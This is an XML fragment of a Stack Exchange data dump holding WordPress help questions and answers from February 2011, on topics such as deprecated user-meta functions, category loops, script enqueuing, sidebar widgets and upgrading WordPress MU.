  <row Id="9026" PostTypeId="1" AcceptedAnswerId="9034" CreationDate="2011-02-09T22:15:17.890" Score="2" ViewCount="147" Body="&lt;p&gt;While coding WP I just wondered about this simple fact:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;get_usermeta()&lt;/code&gt; is deprecated since version 3.0. The warning suggests me to use &lt;code&gt;get_user_meta()&lt;/code&gt;. Even the parameters are pretty similar, I wonder why the deprecated function is not making use of the new function as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Isn't that a sign that the new function does not really does what the deprecated did?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering because I need to replace deprecated calls and wonder a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What makes me even wondering more is the simple fact that &lt;code&gt;get_user_meta()&lt;/code&gt; is quite an alias of the 2.9 function &lt;code&gt;get_metadata()&lt;/code&gt; with only a constant value'ed parameter 'user' given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Help ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit:&lt;/em&gt;&lt;/strong&gt; A counter-example is &lt;code&gt;clean_url()&lt;/code&gt; - it's deprecated, the error message shows what this is about and the deprecated function aliases the new one: &lt;code&gt;esc_url()&lt;/code&gt;, so it's clear what to do.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-09T23:22:33.223" LastActivityDate="2011-07-04T21:14:15.867" Title="get_usermeta() deprecated in favor of get_user_meta(). But why doesn't it make use of it?" Tags="&lt;coding&gt;&lt;usermeta&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="9027" PostTypeId="2" ParentId="3305" CreationDate="2011-02-09T22:18:04.803" Score="0" ViewCount="" Body="&lt;p&gt;I just wanted to say thanks to bangbambang.  This is the first post I found that was able to give me some insight into why the entry into wp-config.php of &lt;code&gt;define('WP_MEMORY_LIMIT', '512M');&lt;/code&gt; was not actually being used.  I spent hours trying to figure this out...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My import was failing with the 256M exhausted issue regardless of how I set the memory limit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the places where the memory limit is hardcoded to 256M (in version 3.0.5 anyway).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp-admin/includes/file.php (line 532)&#xA;&#xA;wp-admin/includes/image-edit.php (line 393 &amp;amp; 498)&#xA;&#xA;wp-includes/media.php (line 252)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2011-02-09T22:18:04.803" CommentCount="1" />
  <row Id="9030" PostTypeId="2" ParentId="9023" CreationDate="2011-02-09T22:28:26.583" Score="1" ViewCount="" Body="&lt;p&gt;Yes, administration will still be under the wordpress.com subdomain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While content will be domain mapped, administration is done through your wordpress.com subdomain - and attempts to access &lt;code&gt;wp-admin&lt;/code&gt; under your mapped domain will redirect to the wp.com subdomain.&lt;/p&gt;&#xA;" OwnerUserId="25" LastActivityDate="2011-02-09T22:28:26.583" CommentCount="1" />
  <row Id="9031" PostTypeId="1" AcceptedAnswerId="9035" CreationDate="2011-02-09T22:41:57.117" Score="0" ViewCount="79" Body="&lt;p&gt;Ex.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Category ....&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Post ....&lt;/p&gt;&#xA;" OwnerUserId="3049" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2011-02-09T23:46:11.590" LastActivityDate="2011-02-09T23:46:11.590" Title="How to create a custom loop ordered by Categories on a Page Template?" Tags="&lt;categories&gt;&lt;get-posts&gt;&lt;custom-loop&gt;" AnswerCount="1" />
  <row Id="9032" PostTypeId="2" ParentId="8995" CreationDate="2011-02-09T23:03:36.557" Score="3" ViewCount="" Body="&lt;p&gt;There are a few plugins that offer that capability. Look at &lt;a href=&quot;http://wordpress.org/extend/plugins/postie/&quot; rel=&quot;nofollow&quot;&gt;Postie&lt;/a&gt; for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Austin Passy did presentations at a couple WordCamps last year demonstrating how to set up the plugin. There's a video on wordpress.tv of &lt;a href=&quot;http://wordpress.tv/2010/09/18/austin-passy-photos-via-email/&quot; rel=&quot;nofollow&quot;&gt;his presentation at WordCamp PDX&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-09T23:03:36.557" />
  <row Id="9033" PostTypeId="2" ParentId="9023" CreationDate="2011-02-09T23:39:51.950" Score="3" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;try blogging by email&lt;/li&gt;&#xA;&lt;li&gt;have your analytics and stats on google analytics or outside source&lt;/li&gt;&#xA;&lt;li&gt;have comments emailed to you&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;that will leave very few things to be done thru administration&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to bypass security system try VPN or use of proxy&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-09T23:39:51.950" />
  <row Id="9034" PostTypeId="2" ParentId="9026" CreationDate="2011-02-09T23:41:53.867" Score="1" ViewCount="" Body="&lt;p&gt;Indeed, &lt;code&gt;get_usermeta()&lt;/code&gt; behaves differently from &lt;code&gt;get_user_meta()&lt;/code&gt; and all the other &lt;code&gt;get_*_meta()&lt;/code&gt; functions. That's why it was deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, the subtle differences couldn't be explained properly in a deprecation notice.&lt;/p&gt;&#xA;" OwnerUserId="205" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-07-04T21:14:15.867" LastActivityDate="2011-07-04T21:14:15.867" CommentCount="2" />
  <row Id="9035" PostTypeId="2" ParentId="9031" CreationDate="2011-02-09T23:44:31.717" Score="0" ViewCount="" Body="&lt;p&gt;Not sure if this is exactly what you're asking, but it sounds like you're looking for nested loops. This will list the most recent 5 posts in every category on your site:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;foreach ( get_terms('category') as $category ) {&#xA;&#xA;    echo '&amp;lt;h2&amp;gt;'.$category-&amp;gt;name.'&amp;lt;/h2&amp;gt;';&#xA;    echo '&amp;lt;ul&amp;gt;';&#xA;&#xA;    foreach ( get_posts( 'cat='.$category-&amp;gt;term_id ) as $post ) {&#xA;        setup_postdata( $post );&#xA;        echo '&amp;lt;li&amp;gt;&amp;lt;a href=&quot;'.get_permalink($post-&amp;gt;ID).'&quot;&amp;gt;'.get_the_title().'&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;';&#xA;&#xA;    }&#xA;    echo '&amp;lt;/ul&amp;gt;';&#xA;} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add the name of the custom post type and any other variables you may want to modify the loop with to the call to &lt;code&gt;get_posts&lt;/code&gt;. You can look through the &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/get_posts&quot; rel=&quot;nofollow&quot;&gt;Codex page&lt;/a&gt; for a list of argument that can be passed.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-02-09T23:44:31.717" />
  <row Id="9036" PostTypeId="1" CreationDate="2011-02-10T00:22:16.573" Score="0" ViewCount="192" Body="&lt;p&gt;All I want to do is basically this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_register_script( 'jquery_zebra', get_bloginfo('stylesheet_directory') . '/library/scripts/jquery.zebra.js', array('jquery'));    &#xA;wp_register_style( 'css_zebra', get_bloginfo('stylesheet_directory') . '/library/styles/zebra.css' );&#xA;//enqueue scripts&#xA;wp_enqueue_script('jquery_zebra');&#xA;wp_enqueue_style('css_zebra');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But only on a certain template page.  I don't care if this is in a plugin or my functions.php or in the template-page.php iteself.&lt;/p&gt;&#xA;" OwnerUserId="2026" LastActivityDate="2011-02-10T08:48:07.743" Title="Run a jquery script on on a certain template page" Tags="&lt;functions&gt;&lt;jquery&gt;&lt;javascript&gt;&lt;template&gt;&lt;wp-enqueue-script&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="9037" PostTypeId="1" CreationDate="2011-02-10T00:55:00.263" Score="-3" ViewCount="83" Body="&lt;p&gt;I am starting a personal blog using wordpress and would like to get a nice them, it would be for my resume, projects, and blog updates about technology. What would you recommend? Personally I really like david walsh &lt;a href=&quot;http://davidwalsh.name/&quot; rel=&quot;nofollow&quot;&gt;blog&lt;/a&gt;, but I am guessing he has a custom theme... Any good ones that you used?&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2011-02-10T10:29:06.297" CommunityOwnedDate="2011-02-10T01:05:20.057" ClosedDate="2011-02-10T14:28:32.813" Title="theme for a personal blog" Tags="&lt;themes&gt;&lt;theme-recommendation&gt;" AnswerCount="3" CommentCount="2" />
  <row Id="9038" PostTypeId="1" AcceptedAnswerId="9077" CreationDate="2011-02-10T01:10:46.503" Score="0" ViewCount="66" Body="&lt;p&gt;Currently I am running a wordpress MU site with ~100 blogs.  It's Wordpress MU version 2.8.x&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because it was so heavily used, I was asked not to update to Wordpress 3 right away.  The users are worried that their plugins and themes may not work once I've upgraded.  Indeed, we activated some plugins that I suspect will stop working because there have not been any updates to them in a while.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other users are anxious to start using Wordpress 3 and the new features.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, what I have to do now is somehow test what the update will look like, and let users log in to test how their site will look in Wordpress 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, what is the best way for me to test the upgrade?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My the root of my Wordpress MU is at mydomain.com, &#xA;and the sites are in the directory below, such as mydomain.com/henrys-blog&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help&lt;/p&gt;&#xA;" OwnerUserId="3058" LastActivityDate="2011-04-11T13:08:21.203" Title="How to run a test WordpressMu to Wordpress3 update?" Tags="&lt;3.0&gt;&lt;upgrade&gt;&lt;multisite&gt;&lt;testing&gt;&lt;staging&gt;" AnswerCount="2" />
  <row Id="9039" PostTypeId="2" ParentId="9038" CreationDate="2011-02-10T01:33:42.603" Score="2" ViewCount="" Body="&lt;p&gt;Upgrade to latest MU version first. If you run into problems with that, report your feedback and the bugs you encounter to the MU Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then Upgrade to WordPress 3.0. If you run into any problems with that step, report it to the WP Project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as you're concerned for a quick test (not a mass test), you can do the test locally on a testserver (and invite some key beta-testers to test (remotely) on your machine). I would do that first anyway, because it will show if things heavily break or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Copy over your database and all files (that's &quot;all blogs&quot;) to a testsystem. Re-map your domain in your hosts file to the testsystem, that will prevent you caring about domain name problems because of the migration to test. This info might be of help: &lt;a href=&quot;http://codex.wordpress.org/User%3aHakre/Grep_And_Friends&quot; rel=&quot;nofollow&quot;&gt;Grep and Friends (collection of linux shell commands to install, backup and restore wordpress)&lt;/a&gt;. (Feedback welcome)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So just copy over everything to the testsystem. Take something that is close to your server, e.g. probably something &lt;a href=&quot;http://en.wikipedia.org/wiki/LAMP_%28software_bundle%29&quot; rel=&quot;nofollow&quot;&gt;LAMP&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then make a backup again (or a snapshot in case you're using a virtual system for that which is somehow recommended as those have snapshots actually build in which will make it easy to &quot;replay&quot; stuff and you don't need full performance).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then do the upgrade. If you're already on the latest, you don't need to upgrade to the latest MU then, otherwise as already written I would do that. You can enable WP_DEBUG and watch warnings (I would code some logging here that will report problems with backlogs and name the plugins etc.) and all the like what's a sign of a problem here. I would fix as much that is easily fix or otherwise just kill plugins that are not expected to be updated any longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have full understanding for the level of quality you want to offer to your users, just layout some key points for what you tell your users that a certain plugin or theme won't make it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or if you are a really nice admin, try to find out about those and perhaps you can crowd-source resources to get stuff updated. Sometimes a little higher donation (about 150+ USD or 100+ EUR) does wonders if you feel it's correct with the plugin or theme's author(s).&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-10T22:02:37.703" LastActivityDate="2011-02-10T22:02:37.703" />
  <row Id="9040" PostTypeId="2" ParentId="2213" CreationDate="2011-02-10T02:22:06.203" Score="0" ViewCount="" Body="&lt;p&gt;Use .htaccess to cache things like CSS, images and javascript on the client-side. The fastest download is the one that never had to happen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I posted a collection of links and reference articles on this: &lt;a href=&quot;http://icanhazdot.net/2010/03/23/speeding-up-self-hosted-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://icanhazdot.net/2010/03/23/speeding-up-self-hosted-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2011-02-10T02:22:06.203" />
  <row Id="9041" PostTypeId="2" ParentId="8349" CreationDate="2011-02-10T03:34:16.593" Score="2" ViewCount="" Body="&lt;p&gt;You need to add: Options +FollowSymLinks &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's often but not always enabled in most hosting environments. We have a server that has it off by default for PCI compliance.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-10T03:34:16.593" CommentCount="4" />
  <row Id="9042" PostTypeId="1" AcceptedAnswerId="9047" CreationDate="2011-02-10T03:35:51.003" Score="0" ViewCount="99" Body="&lt;p&gt;My website is wordswithfriends.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At the moment all of the top navigation menus link to an internal page.  I want &quot;Contact Us&quot; to link to an external page ask.wordswithfriends.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this in the administration panel?  At the moment all I see are options for editing the page&lt;/p&gt;&#xA;" OwnerUserId="2966" LastActivityDate="2011-02-10T04:57:31.327" Title="How do I make my navigation bar link to an external page?" Tags="&lt;links&gt;" AnswerCount="1" />
  <row Id="9043" PostTypeId="2" ParentId="8926" CreationDate="2011-02-10T03:45:41.920" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://contactform7.com/faq/#The_spinning_arrow_icon_shows_up_once_I_submit_a_form&quot; rel=&quot;nofollow&quot;&gt;From Contact 7 Help&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The spinning arrow icon shows up once&#xA;  I submit a form, but then nothing&#xA;  happens.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This is most probably due to a&#xA;  conflict between plugins/theme. Try&#xA;  deactivating all other plugins and&#xA;  switching to the default theme.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, I have gotten this behavior when you have built your blog at something like mysite/blog and then moved it to simply mysite. You will need to edit the site base url in this case.&lt;/p&gt;&#xA;" OwnerUserId="984" LastActivityDate="2011-02-10T03:45:41.920" />
  <row Id="9044" PostTypeId="1" AcceptedAnswerId="9088" CreationDate="2011-02-10T03:48:15.570" Score="0" ViewCount="322" Body="&lt;p&gt;Im trying to make my next and previous post buttons display my custom field but for some reason it doesnt display the custom field its just blank. Heres my code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;next-prev-links&quot;&amp;gt;&#xA;      &amp;lt;?php&#xA;&#xA;      $previous_post = previous_post_link('%link', ''.$image_prev.'', TRUE);&#xA;      $next_post = next_post_link('%link',''.$image_next.'', TRUE);&#xA;      $image_prev = get_post_meta( $previous_post-&amp;gt;ID, 'image', true);&#xA;      $image_next = get_post_meta( $next_post-&amp;gt;ID, 'image', true);&#xA;      ?&amp;gt;&#xA;&#xA;      &amp;lt;?php if ( $image_prev != '' ) : ?&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo $image_prev; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;      &amp;lt;?php if ( $image_next != '' ) : ?&amp;gt;&#xA;        &amp;lt;img src=&quot;&amp;lt;?php echo $image_next; ?&amp;gt;&quot; alt=&quot;&quot; /&amp;gt;&#xA;      &amp;lt;?php endif; ?&amp;gt;&#xA;&#xA;      &amp;lt;?php previous_post_link('%link', 'Previous post', TRUE); ?&amp;gt;&#xA;      &amp;lt;?php next_post_link('%link', 'Next post', TRUE); ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2635" LastEditorUserId="2635" LastEditorDisplayName="" LastEditDate="2011-02-10T07:22:49.540" LastActivityDate="2011-02-10T17:24:07.013" Title="adding custom fields to next and previous post link" Tags="&lt;categories&gt;&lt;custom-field&gt;&lt;next-post-link&gt;&lt;previous-post-link&gt;" AnswerCount="2" />
  <row Id="9046" PostTypeId="2" ParentId="8975" CreationDate="2011-02-10T04:19:21.423" Score="-1" ViewCount="" Body="&lt;p&gt;FOUND THE PROBLEM! WordPress had churned out invalid HTML. So it was not that WordPress would not recognize the CSS; it was that WordPress was generating paragraph elements willy nilly (and yes, I did enter HTML in the HTML field when creating the Page). I decided to validate the HTML and CSS. The CSS checked out. To get the HTML for the entire Page, I went to Page Source, selected all and copied, then pasted into the HTML validator's direct input field, and ticked the verbose feedback. The validator returned errors, and sure enough, WordPress had inserted a paragraph end tag (where there was no beginning tag) right inside the box-container div.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I went back into the Page editor, eradicated all spaces between HTML code, tidied everything up, saved (updated), and VOILA! IT'S WORKING! :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you see, Hakre, it did have to do with WordPress after all. I've learned a lesson from this: don't trust WordPress HTML editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to everyone for your help.&lt;/p&gt;&#xA;" OwnerUserId="3010" LastActivityDate="2011-02-10T04:19:21.423" CommentCount="2" />
  <row Id="9047" PostTypeId="2" ParentId="9042" CreationDate="2011-02-10T04:57:31.327" Score="5" ViewCount="" Body="&lt;p&gt;It depends on your theme and WP version (you're using 2.9.1 - you should consider upgrading).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;upgrade to V3+ to use the menu editor&#xA;that's built in (recommended) more&#xA;info:&#xA;&lt;a href=&quot;http://templatic.com/news/wordpress-3-0-menu-management&quot; rel=&quot;nofollow&quot;&gt;http://templatic.com/news/wordpress-3-0-menu-management&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;hard code your theme template with&#xA;the link added to the end in the HTML&lt;/li&gt;&#xA;&lt;li&gt;modify the theme call to&#xA;wp_list_pages() function excluding&#xA;your contact page link (see:&#xA;&lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_pages&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2511" LastActivityDate="2011-02-10T04:57:31.327" />
  <row Id="9048" PostTypeId="1" CreationDate="2011-02-10T05:09:44.470" Score="0" ViewCount="91" Body="&lt;p&gt;As of now, my side bar is pretty standard:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change it so that it shows tags, recent posts, etc...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Fr6j1.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="3056" LastActivityDate="2011-02-10T13:41:16.603" Title="how do I change the side bar content?" Tags="&lt;sidebar&gt;" AnswerCount="3" />
  <row Id="9049" PostTypeId="2" ParentId="9048" CreationDate="2011-02-10T05:25:32.087" Score="2" ViewCount="" Body="&lt;p&gt;Go into your dashboard and click widgets to your left, and you will see all the tabs there you just drag and drop them to your right inside the panel.&lt;/p&gt;&#xA;" OwnerUserId="2635" LastActivityDate="2011-02-10T05:25:32.087" />
  <row Id="9050" PostTypeId="1" AcceptedAnswerId="9065" CreationDate="2011-02-10T05:30:51.313" Score="1" ViewCount="54" Body="&lt;p&gt;I have a lot of posts/pages, and I would like to create a list in my sidebar, showing all of the years that I have created posts/pages in, so for instance, if I have 5 posts/pages that were spaced out over 5 years, from 2006 to 2011, each year having one post, I would like 2005, 2006, 2007, 2008, 2009, 2010 and 2011 to show as list items in the sidebar, as links to all of the posts/pages created that year.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea of how I can achieve that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx in advance!&lt;/p&gt;&#xA;" OwnerUserId="2632" LastActivityDate="2011-02-10T12:16:39.373" Title="Categorising posts/pages into years published" Tags="&lt;categories&gt;&lt;date-time&gt;&lt;filters&gt;" AnswerCount="2" />
  <row Id="9051" PostTypeId="1" CreationDate="2011-02-10T05:58:05.543" Score="1" ViewCount="133" Body="&lt;p&gt;I'm running a Q&amp;amp;A site with wordpress. I am wondering if there is any plugins that add a &quot;follow&quot; button at the end of a post like Quora such that users can follow the post or follow the topic. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example page with follow button:&lt;/strong&gt;&lt;br&gt;&#xA;&lt;a href=&quot;http://www.quora.com/Is-Quora-planning-an-API&quot; rel=&quot;nofollow&quot;&gt;http://www.quora.com/Is-Quora-planning-an-API&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3061" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-26T02:50:29.413" LastActivityDate="2011-06-24T05:16:48.867" Title="Follow post plugins for WordPress" Tags="&lt;plugins&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="9053" PostTypeId="2" ParentId="9037" CreationDate="2011-02-10T07:37:49.910" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/themes/&quot; rel=&quot;nofollow&quot;&gt;Most of the ones on WordPress.org are great&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1185" LastActivityDate="2011-02-10T07:37:49.910" CommunityOwnedDate="2011-02-10T07:37:49.910" />
  <row Id="9054" PostTypeId="2" ParentId="9048" CreationDate="2011-02-10T08:13:13.810" Score="1" ViewCount="" Body="&lt;p&gt;If you're wanting to add something outside of the widgets, you can do so by editing the sidebar.php file of your theme too.&lt;/p&gt;&#xA;" OwnerUserId="1804" LastActivityDate="2011-02-10T08:13:13.810" />
  <row Id="9055" PostTypeId="2" ParentId="9036" CreationDate="2011-02-10T08:48:07.743" Score="1" ViewCount="" Body="&lt;p&gt;There is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/is_page_template&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;is_page_template()&lt;/code&gt;&lt;/a&gt; conditional tag to check for that.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-10T08:48:07.743" />
  <row Id="9056" PostTypeId="2" ParentId="9050" CreationDate="2011-02-10T08:56:07.567" Score="1" ViewCount="" Body="&lt;p&gt;There is decent native function &lt;code&gt;wp_get_archives()&lt;/code&gt; for such, but unfortunately native archives widget doesn't use all of it and is limited to monthly archives.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take a look at &lt;a href=&quot;http://wordpress.org/extend/plugins/widgets-reloaded/&quot; rel=&quot;nofollow&quot;&gt;Widgets Reloaded&lt;/a&gt; plugin, it replaces native widgets with more configurable versions.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-10T08:56:07.567" />
  <row Id="9057" PostTypeId="2" ParentId="9044" CreationDate="2011-02-10T09:03:06.920" Score="0" ViewCount="" Body="&lt;p&gt;I think you are trying to retrieve &lt;code&gt;ID&lt;/code&gt; from link string that &lt;code&gt;*_post_link()&lt;/code&gt; functions return, rather than post object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need full object of next/previous post you should use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_adjacent_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_adjacent_post()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS it is good practice to develop with &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php#Debug&quot; rel=&quot;nofollow&quot;&gt;WP_DEBUG enabled&lt;/a&gt;, it makes much easier to catch type mismatches.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-10T09:03:06.920" />
  <row Id="9058" PostTypeId="2" ParentId="9037" CreationDate="2011-02-10T09:09:34.247" Score="0" ViewCount="" Body="&lt;p&gt;The amount of themes available makes it impractical to try and guess what might or might not feed your needs and tastes exactly. I can only advise to dedicate some time to browser around for themes and check reputation of designers/developers (so you are not getting yourself into issues with quality and maintenance later).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a good places to start see this question &lt;a href=&quot;http://wordpress.stackexchange.com/questions/29/where-can-i-download-wordpress-themes-from&quot;&gt;Where can I download WordPress themes from?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-02-10T09:09:34.247" CommunityOwnedDate="2011-02-10T09:09:34.247" />
  <row Id="9059" PostTypeId="2" ParentId="9048" CreationDate="2011-02-10T09:12:00.313" Score="1" ViewCount="" Body="&lt;p&gt;If you are using more (or even less) up-to-date theme it should support widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://codex.wordpress.org/Appearance_Widgets_SubPanel&quot; rel=&quot;nofollow&quot;&gt;Appearance Widgets SubPanel&lt;/a&gt; in Codex for overview.&lt;/p&gt;&#xA;" OwnerUserId="847" LastEditorUserId="847" LastEditorDisplayName="" LastEditDate="2011-02-10T13:41:16.603" LastActivityDate="2011-02-10T13:41:16.603" />
  <row Id="9060" PostTypeId="1" CreationDate="2011-02-10T10:09:55.443" Score="1" ViewCount="144" Body="&lt;p&gt;I use More Plugin (More Types, More Fields and More Taxonomy) to create custom taxonomies, post types and fields.&#xA;I've created a select control filled with taxonomies (looping through $wp_taxonomies).&#xA;What I need is to show a list of post types associated with currently selected taxonomies (I will do this by using jQuery) and I didn't figure out how to get such a list of post types. Thanks! &lt;/p&gt;&#xA;" OwnerUserId="3064" LastActivityDate="2011-02-11T14:32:47.230" Title="It is possible to get a list of post types asociated to a taxonomy?" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="9061" PostTypeId="2" ParentId="9037" CreationDate="2011-02-10T10:29:06.297" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.elegantthemes.com/gallery/&quot; rel=&quot;nofollow&quot;&gt;http://www.elegantthemes.com/gallery/&lt;/a&gt; always been a favorite&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2011-02-10T10:29:06.297" CommunityOwnedDate="2011-02-10T10:29:06.297" />
  <row Id="9062" PostTypeId="1" CreationDate="2011-02-10T11:17:05.050" Score="0" ViewCount="125" Body="&lt;p&gt;In the latest version of WP I see the category.php page is now using edit-tags.php.&#xA;The version Im running seems to have an issue with the search feature on this page whereas the new version doesnt. When searching for categories, the results show the category search AND its heirarchy i.e. - categoryname together in the same list. Short of doing a major overhaul and upgrade as one does need to check compatibility, what was changed in the new version that I could update in the old version of my source?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example: I have 5 categorys, 3 parents, 2 children. They all have the word cat in their name. If I search for the word 'cat' I not only get the 5 results, but ALSO another three results with - category name for each of the children again. This is not the case in 3.0.5&lt;/p&gt;&#xA;" OwnerUserId="1426" LastEditorUserId="1426" LastEditorDisplayName="" LastEditDate="2011-02-10T11:46:18.497" LastActivityDate="2011-02-11T00:44:49.497" Title="Wordpress MU 2.9.2 to 3.0.5 changes to category.php" Tags="&lt;categories&gt;&lt;upgrade&gt;&lt;multisite&gt;" AnswerCount="1" CommentCount="3" />
